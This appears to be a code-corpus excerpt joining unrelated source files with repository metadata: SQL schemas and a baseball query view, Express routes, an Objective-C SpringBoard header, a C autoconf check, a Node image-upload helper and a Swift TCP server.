`PRIORITY` decimal(2,0) DEFAULT NULL COMMENT '优先级',
`AUTHOR_USER_TEXT` text COLLATE utf8_bin,
`AUTHOR_USER` text COLLATE utf8_bin,
`AUTHOR_USER_SCHEMA` text COLLATE utf8_bin,
`CREATE_UNITNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`AUTHOR_ROLE_TEXT` text COLLATE utf8_bin COMMENT '授权角色',
`AUTHOR_ROLE` text COLLATE utf8_bin COMMENT '授权角色',
`AUTHOR_ROLE_SCHEMA` text COLLATE utf8_bin COMMENT '授权角色',
`AUTHOR_DEPT_TEXT` text COLLATE utf8_bin COMMENT '授权单位',
`AUTHOR_DEPT` text COLLATE utf8_bin COMMENT '授权单位',
`AUTHOR_DEPT_SCHEMA` text COLLATE utf8_bin COMMENT '授权单位',
`TITLE` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`TYPE_VALUE` int(11) DEFAULT NULL,
`TYPE_TEXT` varchar(20) COLLATE utf8_bin DEFAULT NULL,
`ICON_URL` varchar(200) COLLATE utf8_bin DEFAULT NULL,
`CURRENT_VERSION_TEXT` varchar(20) COLLATE utf8_bin DEFAULT NULL,
`CURRENT_SCHEMA_TEXT` longtext COLLATE utf8_bin,
`CURRENT_SCHEMA_PATH` varchar(250) COLLATE utf8_bin DEFAULT NULL,
`CURRENT_AUTHOR` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CURRENT_REMARK` varchar(500) COLLATE utf8_bin DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin ROW_FORMAT=DYNAMIC;
/*
核心框架的页面配置操作记录
用途:主要用于记录页面配置的操作记录
*/
CREATE TABLE `idm_trace` (
`id` varchar(100) NOT NULL,
`IDM_ID` varchar(100) DEFAULT NULL,
`ACTIONTYPE` int(3) DEFAULT NULL,
`PAGEID` varchar(100) DEFAULT NULL,
`PAGEVERSION` varchar(50) DEFAULT NULL,
`OPDATE` varchar(30) DEFAULT NULL,
`OPTIME` varchar(30) DEFAULT NULL,
`OPCONTENT` text,
`PROJECT_ID` varchar(50) DEFAULT NULL,
`CREATE_USERID` varchar(50) DEFAULT NULL,
`CREATE_UNAME` varchar(100) DEFAULT NULL,
`CREATE_DEPTID` varchar(50) DEFAULT NULL,
`CREATE_UNITID` varchar(50) DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
`LASTUPDATE_USERID` varchar(50) DEFAULT NULL,
`LASTUPDATE_UNAME` varchar(100) DEFAULT NULL,
`LASTUPDATE_DEPTID` varchar(50) DEFAULT NULL,
`LASTUPDATE_UNITID` varchar(50) DEFAULT NULL,
`LASTUPDATE_TIME` datetime DEFAULT NULL,
`CREATE_DEPTNAME` varchar(100) DEFAULT NULL,
`LASTUPDATE_UNITNAME` varchar(100) DEFAULT NULL,
`LASTUPDATE_DEPTNAME` varchar(100) DEFAULT NULL,
`CREATE_UNITNAME` varchar(100) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
/*
核心框架的页面版本历史记录表
作用:用于存储所有版本的历史数据,方便版本切换、数据恢复
*/
CREATE TABLE `idm_version` (
`id` varchar(100) COLLATE utf8_bin NOT NULL,
`CREATE_USERID` varchar(50) COLLATE utf8_bin DEFAULT NULL COMMENT '创建人用户id',
`CREATE_UNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL COMMENT '创建人姓名',
`CREATE_DEPTID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_UNITID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
`LASTUPDATE_USERID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_DEPTID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNITID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_TIME` datetime DEFAULT NULL,
`PROJECT_ID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_DEPTNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNITNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_DEPTNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_UNITNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`IDM_ID` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`VERSION_TEXT` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`SCHEMA_TEXT` longtext COLLATE utf8_bin,
`SCHEMA_PATH` varchar(250) COLLATE utf8_bin DEFAULT NULL,
`AUTHOR` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`REMARK` varchar(500) COLLATE utf8_bin DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin ROW_FORMAT=DYNAMIC; | 46.427184 | 78 | 0.773944 |
843b529854d68752a2793e7abb2454d0145af244 | 866 | sql | SQL | queries/xQuery10.sql | joshuaseligman/baseball-database-project | a76e81a3b6f56da023d0f63143d96e145bfc1e8e | [
"MIT"
] | null | null | null | queries/xQuery10.sql | joshuaseligman/baseball-database-project | a76e81a3b6f56da023d0f63143d96e145bfc1e8e | [
"MIT"
] | null | null | null | queries/xQuery10.sql | joshuaseligman/baseball-database-project | a76e81a3b6f56da023d0f63143d96e145bfc1e8e | [
"MIT"
] | null | null | null | -- Get the names of players who have only played for teams that
-- are at least 50 years older than the division they compete in.
-- Also include the abbreviations of these teams.
CREATE OR REPLACE VIEW xQuery10 AS
SELECT DISTINCT xPlayer.Player_Name, PlaysForOut.Team_Abbr
FROM xPlayer JOIN xPlaysFor PlaysForOut ON xPlayer.Player_ID = PlaysForOut.Player_ID
WHERE PlaysForOut.Player_ID NOT IN
(SELECT PlaysForIn.Player_ID
FROM xPlaysFor PlaysForIn
WHERE PlaysForIn.Team_Abbr NOT IN
(SELECT xTeam.Team_Abbr
FROM xTeam JOIN xDivision
ON xTeam.League = xDivision.League
AND xTeam.Region = xDivision.Region
WHERE xTeam.Year_Founded <= xDivision.Year_Founded - 50))
ORDER BY xPlayer.Player_Name, PlaysForOut.Team_Abbr;
| 48.111111 | 87 | 0.678984 |
9c3dde692b1b0538575acb2d17f561b0d5cdcad7 | 549 | js | JavaScript | src/routes.js | guilhermehrq/auth-tdd | 756c8f8c1c061658e91ed8bb574302b76e12873f | [
"MIT"
] | null | null | null | src/routes.js | guilhermehrq/auth-tdd | 756c8f8c1c061658e91ed8bb574302b76e12873f | [
"MIT"
] | null | null | null | src/routes.js | guilhermehrq/auth-tdd | 756c8f8c1c061658e91ed8bb574302b76e12873f | [
"MIT"
] | null | null | null | const routes = require("express").Router();
const user = require("./core/user/controller");
const product = require('./core/product/controller');
const authMiddleware = require("./middleware/auth");
routes.get("/ping", (req, res) => {
return res.status(200).send(new Date());
});
routes.post("/user", (req, res) => user.createUser(req, res));
routes.post("/user/login", (req, res) => user.loginUser(req, res));
routes.use(authMiddleware);
routes.get("/product", (req, res) => product.get(req, res));
module.exports = routes;
| 30.5 | 68 | 0.650273 |
a1f59ae109a261baa147bd3f9dee8068d9ace1c7 | 261 | h | C | Pod/Classes/Debug/KZBResponseTracker.h | bentrengrove/BTBootstrap | 651eceb261bb3dce8ef9d5e6a4282a37573897db | [
"MIT"
] | 755 | 2015-01-01T17:59:43.000Z | 2017-04-29T16:29:48.000Z | Pod/Classes/Debug/KZBResponseTracker.h | FrankVilla/Bootstrap | 11651a757d7d95490bf76cbe71ad4420c1855b73 | [
"MIT"
] | 23 | 2015-01-05T11:25:01.000Z | 2017-04-29T20:26:01.000Z | Pod/Classes/Debug/KZBResponseTracker.h | FrankVilla/Bootstrap | 11651a757d7d95490bf76cbe71ad4420c1855b73 | [
"MIT"
] | 86 | 2015-01-04T03:10:36.000Z | 2017-02-10T06:34:56.000Z | //
// Created by merowing on 03/02/2014.
//
//
//
@import Foundation;
@interface KZBResponseTracker : NSObject
+ (void)trackResponse:(id)response object:(id)objectOrError forEndPoint:(NSString *)endPoint;
+ (NSDictionary *)responses;
+ (void)printAll;
@end | 17.4 | 93 | 0.724138 |
2f0dd40ac8d9073efc89692abbab001634558663 | 269 | php | PHP | web/app/themes/fullstaq/resources/views/partials/footer.blade.php | hothichau/intern-fullstaq | 329476bf137340a7c8d8397b741a63a0a49cd74c | [
"MIT"
] | null | null | null | web/app/themes/fullstaq/resources/views/partials/footer.blade.php | hothichau/intern-fullstaq | 329476bf137340a7c8d8397b741a63a0a49cd74c | [
"MIT"
] | null | null | null | web/app/themes/fullstaq/resources/views/partials/footer.blade.php | hothichau/intern-fullstaq | 329476bf137340a7c8d8397b741a63a0a49cd74c | [
"MIT"
] | 1 | 2021-07-07T03:59:38.000Z | 2021-07-07T03:59:38.000Z | <footer class="footer text-center text-sm-left">
@if(!empty($footer_columns))
<div class="footer__top d-flex">
@include('partials.common.footer-top')
</div>
@endif
<div class="footer__bottom">
@include('partials.common.footer-nav')
</div>
</footer>
| 24.454545 | 48 | 0.672862 |
3b5b555be0b24ab738b7cb2e078578d044518d3c | 302 | h | C | libbuild2-autoconf/libbuild2/autoconf/checks/HAVE_RENAMEAT2.h | build2/libbuild2-autoconf | a7d7c362deac4357fae79152ea768d34219918e7 | [
"MIT"
] | null | null | null | libbuild2-autoconf/libbuild2/autoconf/checks/HAVE_RENAMEAT2.h | build2/libbuild2-autoconf | a7d7c362deac4357fae79152ea768d34219918e7 | [
"MIT"
] | null | null | null | libbuild2-autoconf/libbuild2/autoconf/checks/HAVE_RENAMEAT2.h | build2/libbuild2-autoconf | a7d7c362deac4357fae79152ea768d34219918e7 | [
"MIT"
] | null | null | null | // HAVE_RENAMEAT2 : BUILD2_AUTOCONF_LIBC_VERSION
#ifndef BUILD2_AUTOCONF_LIBC_VERSION
# error BUILD2_AUTOCONF_LIBC_VERSION appears to be conditionally included
#endif
#undef HAVE_RENAMEAT2
// Since Linux 3.15/glibc 2.28.
//
#if BUILD2_AUTOCONF_GLIBC_PREREQ(2, 28)
# define HAVE_RENAMEAT2 1
#endif
| 21.571429 | 74 | 0.811258 |
53b0f758f176105d59863374c58cf367a3f65433 | 721 | java | Java | src/main/java/org/iii/ee100/animour/hospital/service/AppointmentService.java | NathanC90/review | a38963ba50fd1aed4b44121785137ffa5c9ee789 | [
"Apache-2.0"
] | 4 | 2018-06-16T15:00:11.000Z | 2021-11-28T19:08:10.000Z | src/main/java/org/iii/ee100/animour/hospital/service/AppointmentService.java | NathanC90/review | a38963ba50fd1aed4b44121785137ffa5c9ee789 | [
"Apache-2.0"
] | null | null | null | src/main/java/org/iii/ee100/animour/hospital/service/AppointmentService.java | NathanC90/review | a38963ba50fd1aed4b44121785137ffa5c9ee789 | [
"Apache-2.0"
] | 1 | 2018-08-16T08:17:45.000Z | 2018-08-16T08:17:45.000Z | package org.iii.ee100.animour.hospital.service;
import java.util.List;
import org.iii.ee100.animour.hospital.dao.AppointmentDao;
import org.iii.ee100.animour.hospital.entity.Appointment;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class AppointmentService {
@Autowired
AppointmentDao appointmentdao;
public void insertAppoint(Appointment appointment) {
appointmentdao.save(appointment);
}
public void deleteAppoint(long id) {
appointmentdao.delete(id);
}
public Appointment getOne(long id) {
return appointmentdao.findOne(id);
}
public Iterable<Appointment> getAll() {
return appointmentdao.findAll();
}
}
| 22.53125 | 62 | 0.785021 |
da71c1d35ab3c68e6f725fab1ba36df7335be991 | 313 | sql | SQL | MySQL/Exams/03.09.2017/09.Profile_Pictures.sql | IvayloIV/Java | 862785b40c68ee4ddcf3b4ff9989467b95eb1780 | [
"MIT"
] | null | null | null | MySQL/Exams/03.09.2017/09.Profile_Pictures.sql | IvayloIV/Java | 862785b40c68ee4ddcf3b4ff9989467b95eb1780 | [
"MIT"
] | 24 | 2020-01-17T20:44:40.000Z | 2022-01-21T23:49:06.000Z | MySQL/Exams/03.09.2017/09.Profile_Pictures.sql | IvayloIV/Java | 862785b40c68ee4ddcf3b4ff9989467b95eb1780 | [
"MIT"
] | null | null | null | SELECT
u.id,
u.username,
CONCAT(p.size, 'KB') AS 'size'
FROM users AS u
JOIN pictures AS p
ON u.profile_picture_id = p.id
WHERE u.profile_picture_id IN (
SELECT us.profile_picture_id
FROM users AS us
GROUP BY us.profile_picture_id
HAVING COUNT(us.profile_picture_id) > 1
)
ORDER BY u.id ASC; | 22.357143 | 43 | 0.71885 |
87e4fa560d7001ba44177c1e4afde2495fcb463b | 68 | sql | SQL | db/schema.sql | jdmarty/dreamteam2 | 0552c65e31da0d4b0abcd595ebe57badac11135a | [
"ISC"
] | 2 | 2020-06-09T00:52:23.000Z | 2020-06-09T02:22:38.000Z | db/schema.sql | Akessler314/Project_2 | 183f35e8a9986bad4c1f759c43eff785d62f4299 | [
"Unlicense"
] | 15 | 2020-06-09T03:44:59.000Z | 2020-06-19T23:20:40.000Z | db/schema.sql | Akessler314/Project_2 | 183f35e8a9986bad4c1f759c43eff785d62f4299 | [
"Unlicense"
] | 5 | 2020-09-10T21:36:04.000Z | 2020-10-19T22:38:06.000Z | DROP DATABASE IF EXISTS dreamteam_db;
CREATE DATABASE dreamteam_db;
| 22.666667 | 37 | 0.852941 |
d421c42349849498ab3e1d29c139d8c831424d0b | 3,210 | rs | Rust | rust/day01/depths_window/src/main.rs | kyclark/advent2021 | b7961ffb7eca3a64b826424ceb9f6c628d7b046c | [
"MIT"
] | 1 | 2021-12-01T21:32:19.000Z | 2021-12-01T21:32:19.000Z | rust/day01/depths_window/src/main.rs | kyclark/advent2021 | b7961ffb7eca3a64b826424ceb9f6c628d7b046c | [
"MIT"
] | null | null | null | rust/day01/depths_window/src/main.rs | kyclark/advent2021 | b7961ffb7eca3a64b826424ceb9f6c628d7b046c | [
"MIT"
] | null | null | null | use clap::{App, Arg};
use std::{
error::Error,
fs::File,
io::{self, BufRead, BufReader},
};
type MyResult<T> = Result<T, Box<dyn Error>>;
#[derive(Debug)]
pub struct Config {
filename: String,
window: usize,
}
// --------------------------------------------------
pub fn get_args() -> MyResult<Config> {
let matches = App::new("depths")
.version("0.1.0")
.author("Ken Youens-Clark <kyclark@gmail.com>")
.about("Detect depths increasing/decreasing")
.arg(
Arg::with_name("filename")
.value_name("FILE")
.help("Input data file")
.default_value("-"),
)
.arg(
Arg::with_name("window")
.short("w")
.long("window")
.value_name("WINDOW")
.help("Window size")
.default_value("3"),
)
.get_matches();
let window = matches
.value_of("window")
.map(parse_positive_int)
.transpose()
.map_err(|e| format!("Invalid window \"{}\"", e))?;
Ok(Config {
filename: matches.value_of("filename").unwrap().to_string(),
window: window.unwrap(),
})
}
// --------------------------------------------------
fn parse_positive_int(val: &str) -> MyResult<usize> {
match val.parse() {
Ok(n) if n > 0 => Ok(n),
_ => Err(From::from(val)),
}
}
// --------------------------------------------------
#[test]
fn test_parse_positive_int() {
// 3 is an OK integer
let res = parse_positive_int("3");
assert!(res.is_ok());
assert_eq!(res.unwrap(), 3);
// Any string is an error
let res = parse_positive_int("foo");
assert!(res.is_err());
assert_eq!(res.unwrap_err().to_string(), "foo".to_string());
// A zero is an error
let res = parse_positive_int("0");
assert!(res.is_err());
assert_eq!(res.unwrap_err().to_string(), "0".to_string());
}
// --------------------------------------------------
fn main() -> MyResult<()> {
let args = get_args()?;
match open(&args.filename) {
Err(err) => eprintln!("{}: {}", args.filename, err),
Ok(file) => {
let mut num_increased = 0;
let mut prev = vec![];
for line in file.lines() {
let line = line?;
if let Ok(num) = line.parse::<usize>() {
if prev.len() == args.window {
let prev_sum: usize = prev.iter().sum();
prev.remove(0);
prev.push(num);
let this_sum: usize = prev.iter().sum();
if prev_sum < this_sum {
num_increased += 1;
}
} else {
prev.push(num);
}
}
}
println!("{} increased", num_increased);
}
}
Ok(())
}
fn open(filename: &str) -> MyResult<Box<dyn BufRead>> {
match filename {
"-" => Ok(Box::new(BufReader::new(io::stdin()))),
_ => Ok(Box::new(BufReader::new(File::open(filename)?))),
}
}
| 28.157895 | 68 | 0.443614 |
e3ff145676e6e12a8193d5bc5a9d9172afeef331 | 1,495 | go | Go | pkg/util/conv.go | RickyC0626/loki | 3d941ccccbcc6109224dce1845f7aaead30d5ddf | [
"Apache-2.0"
] | null | null | null | pkg/util/conv.go | RickyC0626/loki | 3d941ccccbcc6109224dce1845f7aaead30d5ddf | [
"Apache-2.0"
] | null | null | null | pkg/util/conv.go | RickyC0626/loki | 3d941ccccbcc6109224dce1845f7aaead30d5ddf | [
"Apache-2.0"
] | null | null | null | package util
import (
"time"
"unsafe"
"github.com/prometheus/common/model"
"github.com/prometheus/prometheus/model/labels"
)
// ModelLabelSetToMap convert a model.LabelSet to a map[string]string
func ModelLabelSetToMap(m model.LabelSet) map[string]string {
if len(m) == 0 {
return map[string]string{}
}
return *(*map[string]string)(unsafe.Pointer(&m))
}
// MapToModelLabelSet converts a map into a model.LabelSet
func MapToModelLabelSet(m map[string]string) model.LabelSet {
if len(m) == 0 {
return model.LabelSet{}
}
return *(*map[model.LabelName]model.LabelValue)(unsafe.Pointer(&m))
}
// RoundToMilliseconds returns milliseconds precision time from nanoseconds.
// from will be rounded down to the nearest milliseconds while through is rounded up.
func RoundToMilliseconds(from, through time.Time) (model.Time, model.Time) {
fromMs := from.UnixNano() / int64(time.Millisecond)
throughMs := through.UnixNano() / int64(time.Millisecond)
// add a millisecond to the through time if the nanosecond offset within the second is not a multiple of milliseconds
if int64(through.Nanosecond())%int64(time.Millisecond) != 0 {
throughMs++
}
return model.Time(fromMs), model.Time(throughMs)
}
// LabelsToMetric converts a Labels to Metric
// Don't do this on any performance sensitive paths.
func LabelsToMetric(ls labels.Labels) model.Metric {
m := make(model.Metric, len(ls))
for _, l := range ls {
m[model.LabelName(l.Name)] = model.LabelValue(l.Value)
}
return m
}
| 29.9 | 118 | 0.742475 |
85b1af5aefd5017782d607c2078d8a01f5616a0c | 5,976 | js | JavaScript | Helpers/FileUploader/fileuploader.js | alexidr9116/bib-123 | 2cbdae10307610f6df1bc62d43e1dcb01de55846 | [
"MIT"
] | null | null | null | Helpers/FileUploader/fileuploader.js | alexidr9116/bib-123 | 2cbdae10307610f6df1bc62d43e1dcb01de55846 | [
"MIT"
] | null | null | null | Helpers/FileUploader/fileuploader.js | alexidr9116/bib-123 | 2cbdae10307610f6df1bc62d43e1dcb01de55846 | [
"MIT"
] | null | null | null | const multer = require("multer");
const formidable = require("formidable");
const fs = require("fs");
const path = require("path");
const Global = require("../Global");
const Response = require("../Response");
const imageStorage = multer.diskStorage({
// Destination to store image
destination: "./uploads/images",
filename: (req, file, cb) => {
cb(
null,
file.fieldname +
"x" +
Global.randomNumber(6) +
"c" +
Date.now() +
path.extname(file.originalname)
);
// file.fieldname is name of the field (image)
// path.extname get the uploaded file extension
},
});
const videoStorage = multer.diskStorage({
// Destination to store image
destination: "./uploads/videos",
filename: (req, file, cb) => {
cb(
null,
file.fieldname +
"x" +
Global.randomNumber(6) +
"c" +
Date.now() +
path.extname(file.originalname)
);
// file.fieldname is name of the field (image)
// path.extname get the uploaded file extension
},
});
const pdfStorage = multer.diskStorage({
// Destination to store image
destination: "./uploads/files",
filename: (req, file, cb) => {
cb(
null,
file.fieldname +
"x" +
Global.randomNumber(6) +
"c" +
Date.now() +
path.extname(file.originalname)
);
// file.fieldname is name of the field (image)
// path.extname get the uploaded file extension
},
});
var imageUpload = multer({
storage: imageStorage,
limits: {
fileSize: 1000000, // 1000000 Bytes = 1 MB
},
fileFilter(req, file, cb) {
if (!file.originalname.match(/\.(png|jpg)$/)) {
// upload only png and jpg format
return cb(new Error("Please upload a Image"));
}
cb(null, true);
},
});
const videoUpload = multer({
storage: videoStorage,
limits: {
fileSize: 10000000, // 10000000 Bytes = 10 MB
},
fileFilter(req, file, cb) {
// upload only mp4 and mkv format
if (!file.originalname.match(/\.(mp4|MPEG-4|mkv)$/)) {
return cb(new Error("Please upload a video"));
}
cb(null, true);
},
});
// const pdfFilter = (req, file, cb) => {
// if (file.mimetype.split("/")[1] === "pdf") {
// cb(null, true);
// } else {
// cb(new Error("Not a PDF File!!"), false);
// }
// };
const pdfUpload = multer({
storage: pdfStorage,
limits: {
fileSize: 10000000, // 10000000 Bytes = 10 MB
},
fileFilter(req, file, cb) {
// upload only mp4 and mkv format
if (!file.originalname.match(/\.(pdf)$/)) {
return cb(new Error("Please upload a pdf file."));
}
cb(null, true);
},
});
// --------------------------------------
const _uploadDir_image = "uploads/images/";
const _uploadDir_videos = "uploads/videos/";
const _uploadDir_files = "uploads/files/";
const checkAndUploadImage = (req, res, next, fieldInfo, fieldsToCheck = []) => {
console.log(req.body)
const form = new formidable.IncomingForm({ multiples: true });
form.parse(req, function (err, fields, files) {
console.log("Files : ", files[fieldInfo.name].length);
var _next = true;
if (fieldsToCheck.length > 0) {
fieldsToCheck.forEach((element) => {
let _minLength = element.minLength ? element.minLength : 3;
// check validations
if (!fields[element.name] || fields[element.name] === "") {
_next = false;
return Response.error(res, element.name + " is required");
}
if (fields[element.name] && fields[element.name].length < _minLength) {
console.log(fields[element.name].length);
_next = false;
return Response.error(
res,
element.name +
" minimum length should be " +
_minLength +
" character long."
);
}
// end of check validations
});
}
if (_next) {
if (files[fieldInfo.name].length > 0) {
let _uploadedPaths = [];
let uploadDone = false;
files[fieldInfo.name].forEach((fileElement, index) => {
if (index < fieldInfo.maxCount) {
if (isFileValid(fileElement)) {
var oldPath = fileElement.filepath;
var newPath = _uploadDir_image + getFileName(fileElement);
fs.readFile(oldPath, (err, data) => {
if (err) return Response.error(res, err);
fs.writeFile(newPath, data, function (err) {
if (err) return Response.error(res, err);
_uploadedPaths.push(newPath);
if (
index === fieldInfo.maxCount - 1 ||
index === files[fieldInfo.name].length - 1
) {
uploadDone = true;
}
if (uploadDone && _uploadedPaths.length > 0) {
if (fieldInfo.maxCount === 1) {
req.body = fields;
req.uploadedPath = _uploadedPaths[0];
} else {
req.body = fields;
req.uploadedPath = _uploadedPaths;
}
next();
return true;
} else {
next();
return true;
}
});
});
}else{
Response.error(res, "Please upload image file.");
}
} else {
}
});
}
}
});
};
const isFileValid = (file) => {
if (!file.originalFilename.match(/\.(png|jpg|jpeg)$/)) {
return false;
}
return true;
};
const getFileName = (file) => {
return (
"image_" +
Global.randomNumber(6) +
Date.now() +
path.extname(file.originalFilename)
);
};
// --------------------------------------
module.exports = {
imageUpload,
videoUpload,
pdfUpload,
checkAndUploadImage,
};
| 27.666667 | 80 | 0.525435 |
7bbba7dcfcd48aef67b7f2c0108d6908dda79d71 | 455 | css | CSS | src/Components/MessageRoll/MessageRoll.css | Daxxn/ElectrintoryClient | 596b6695b392059fc3231ac827b503eec5631c91 | [
"Apache-2.0"
] | null | null | null | src/Components/MessageRoll/MessageRoll.css | Daxxn/ElectrintoryClient | 596b6695b392059fc3231ac827b503eec5631c91 | [
"Apache-2.0"
] | null | null | null | src/Components/MessageRoll/MessageRoll.css | Daxxn/ElectrintoryClient | 596b6695b392059fc3231ac827b503eec5631c91 | [
"Apache-2.0"
] | null | null | null | .message-roll-container {
display: flex;
flex-flow: row nowrap;
position: fixed;
bottom: 0;
left: 0;
width: 100%;
margin: 0;
}
.message-text {
margin: 0.25rem;
}
.message-ok {
background-color: var(--message-color);
}
.message-unauth {
background-color: var(--message-unauth-color);
}
.message-error {
background-color: var(--message-error-color);
}
.message-issue {
background-color: var(--message-issue-color);
} | 15.689655 | 49 | 0.643956 |
d5c7da6c00fae89d9a6a689c11dbc2d35bf1aaeb | 1,640 | h | C | System/Library/PrivateFrameworks/SpringBoard.framework/SBStarkNotificationBannerSource.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | 2 | 2021-11-02T09:23:27.000Z | 2022-03-28T08:21:57.000Z | System/Library/PrivateFrameworks/SpringBoard.framework/SBStarkNotificationBannerSource.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | null | null | null | System/Library/PrivateFrameworks/SpringBoard.framework/SBStarkNotificationBannerSource.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | 1 | 2022-03-28T08:21:59.000Z | 2022-03-28T08:21:59.000Z | /*
* This header is generated by classdump-dyld 1.5
* on Wednesday, October 27, 2021 at 3:23:47 PM Mountain Standard Time
* Operating System: Version 13.5.1 (Build 17F80)
* Image Source: /System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley.
*/
#import <SpringBoard/SBStarkBannerSource.h>
#import <libobjc.A.dylib/SBStarkNotificationBannerItemDelegate.h>
@protocol SBStarkNotificationBannerSourceDelegate;
@class NSString;
@interface SBStarkNotificationBannerSource : SBStarkBannerSource <SBStarkNotificationBannerItemDelegate> {
id<SBStarkNotificationBannerSourceDelegate> _delegate;
}
@property (assign,nonatomic,__weak) id<SBStarkNotificationBannerSourceDelegate> delegate; //@synthesize delegate=_delegate - In the implementation block
@property (readonly) unsigned long long hash;
@property (readonly) Class superclass;
@property (copy,readonly) NSString * description;
@property (copy,readonly) NSString * debugDescription;
-(id<SBStarkNotificationBannerSourceDelegate>)delegate;
-(void)setDelegate:(id<SBStarkNotificationBannerSourceDelegate>)arg1 ;
-(void)postNotificationRequest:(id)arg1 ;
-(void)withdrawNotificationRequest:(id)arg1 ;
-(void)modifyNotificationRequest:(id)arg1 ;
-(void)bannerViewWillAppear:(id)arg1 ;
-(void)bannerViewDidDismiss:(id)arg1 forReason:(int)arg2 ;
-(void)executeAction:(id)arg1 forNotificationRequest:(id)arg2 ;
@end
| 45.555556 | 165 | 0.735976 |
b51b8c180a527f860f003b278dac22b749fe86d5 | 6,399 | swift | Swift | Sources/TCP/Socket/TCPServer.swift | captainOfM/sockets | 734f148087a3bd649cf07afe224f7273d3da3438 | [
"MIT"
] | 125 | 2017-03-24T12:15:09.000Z | 2018-03-16T10:59:17.000Z | Sources/TCP/Socket/TCPServer.swift | captainOfM/sockets | 734f148087a3bd649cf07afe224f7273d3da3438 | [
"MIT"
] | 43 | 2016-09-09T16:04:58.000Z | 2017-03-17T09:29:01.000Z | Sources/TCP/Socket/TCPServer.swift | captainOfM/sockets | 734f148087a3bd649cf07afe224f7273d3da3438 | [
"MIT"
] | 25 | 2016-09-09T13:23:48.000Z | 2017-03-17T16:02:44.000Z | import Async
import Bits
import Debugging
import Dispatch
import COperatingSystem
/// Accepts client connections to a socket.
///
/// Uses Async.OutputStream API to deliver accepted clients
/// with back pressure support. If overwhelmed, input streams
/// can cause the TCP server to suspend accepting new connections.
///
/// [Learn More →](https://docs.vapor.codes/3.0/sockets/tcp-server/)
public struct TCPServer {
/// A closure that can dictate if a client will be accepted
///
/// `true` for accepted, `false` for not accepted
public typealias WillAccept = (TCPClient) -> (Bool)
/// Controls whether or not to accept a client
///
/// Useful for security purposes
public var willAccept: WillAccept?
/// This server's TCP socket.
public let socket: TCPSocket
/// Creates a TCPServer from an existing TCPSocket.
public init(socket: TCPSocket) throws {
self.socket = socket
}
/// Starts listening for peers asynchronously
public func start(hostname: String = "0.0.0.0", port: UInt16, backlog: Int32 = 128) throws {
/// bind the socket and start listening
try socket.bind(hostname: hostname, port: port)
try socket.listen(backlog: backlog)
}
/// Accepts a client and outputs to the output stream
/// important: the socket _must_ be ready to accept a client
/// as indicated by a read source.
public mutating func accept() throws -> TCPClient? {
guard let accepted = try socket.accept() else {
return nil
}
/// init a tcp client with the socket and assign it an event loop
let client = try TCPClient(socket: accepted)
/// check the will accept closure to approve this connection
if let shouldAccept = willAccept, !shouldAccept(client) {
client.close()
return nil
}
/// output the client
return client
}
/// Stops the server
public func stop() {
socket.close()
}
}
extension TCPServer {
/// Create a stream for this TCP server.
/// - parameter on: the event loop to accept clients on
/// - parameter assigning: the event loops to assign to incoming clients
public func stream(on eventLoop: EventLoop) -> TCPClientStream {
return .init(server: self, on: eventLoop)
}
}
extension TCPSocket {
/// bind - bind a name to a socket
/// http://man7.org/linux/man-pages/man2/bind.2.html
fileprivate func bind(hostname: String = "0.0.0.0", port: UInt16) throws {
var hints = addrinfo()
// Support both IPv4 and IPv6
hints.ai_family = AF_INET
// Specify that this is a TCP Stream
hints.ai_socktype = SOCK_STREAM
hints.ai_protocol = IPPROTO_TCP
// If the AI_PASSIVE flag is specified in hints.ai_flags, and node is
// NULL, then the returned socket addresses will be suitable for
// bind(2)ing a socket that will accept(2) connections.
hints.ai_flags = AI_PASSIVE
// Look ip the sockeaddr for the hostname
var result: UnsafeMutablePointer<addrinfo>?
var res = getaddrinfo(hostname, port.description, &hints, &result)
guard res == 0 else {
throw TCPError.gaierrno(
res,
identifier: "getAddressInfo",
possibleCauses: [
"The address that binding was attempted on (\"\(hostname)\":\(port)) does not refer to your machine."
],
suggestedFixes: [
"Bind to `0.0.0.0` or to your machine's IP address"
],
source: .capture()
)
}
defer {
freeaddrinfo(result)
}
guard let info = result else {
throw TCPError(identifier: "unwrapAddress", reason: "Could not unwrap address info.", source: .capture())
}
res = COperatingSystem.bind(descriptor, info.pointee.ai_addr, info.pointee.ai_addrlen)
guard res == 0 else {
throw TCPError.posix(errno, identifier: "bind", source: .capture())
}
}
/// listen - listen for connections on a socket
/// http://man7.org/linux/man-pages/man2/listen.2.html
fileprivate func listen(backlog: Int32 = 4096) throws {
let res = COperatingSystem.listen(descriptor, backlog)
guard res == 0 else {
throw TCPError.posix(errno, identifier: "listen", source: .capture())
}
}
